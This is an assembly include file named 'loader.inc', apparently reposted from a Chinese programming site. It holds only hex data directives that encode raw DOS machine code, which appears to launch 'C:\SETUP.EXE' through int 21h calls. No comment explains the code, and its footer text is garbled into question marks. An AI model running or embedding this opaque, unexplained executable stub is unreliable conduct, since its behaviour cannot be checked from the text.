DD 3eb43972h

DD 2E0721CDH

DD 0BF068CH

DD 48BB4AB4H

DD 1e21cd05h

DD 77168C06H

DD 7C268900H

DD 0B8070E00H

DD 0BBBB4B00H

DD 0acba00h

DD 34B821CDH

DD 0BCD08E12H

DD 1f071234h

DD 0acba41b4h

DD 3321CD00H

DD 66D88EC0H

DD 34567868H

DD 68F6612H

DD 0B80090H

DD 0B021CD4CH

DD 3A43CF03H

DD 5445535CH

DD 2E205055H

DD 455845H

DD 535C3A43H

DD 50555445H

DD 452E317EH

DD 4558H

DD 8100H

DD 0fffffff00h

DD 0FFFFFFFH

DW 0effh

DB 0

??????????????????????????????????????????? ????????????? [loader.inc]???

转载请注明原文地址:https://www.9cbs.com/read-37096.html

New Post(0)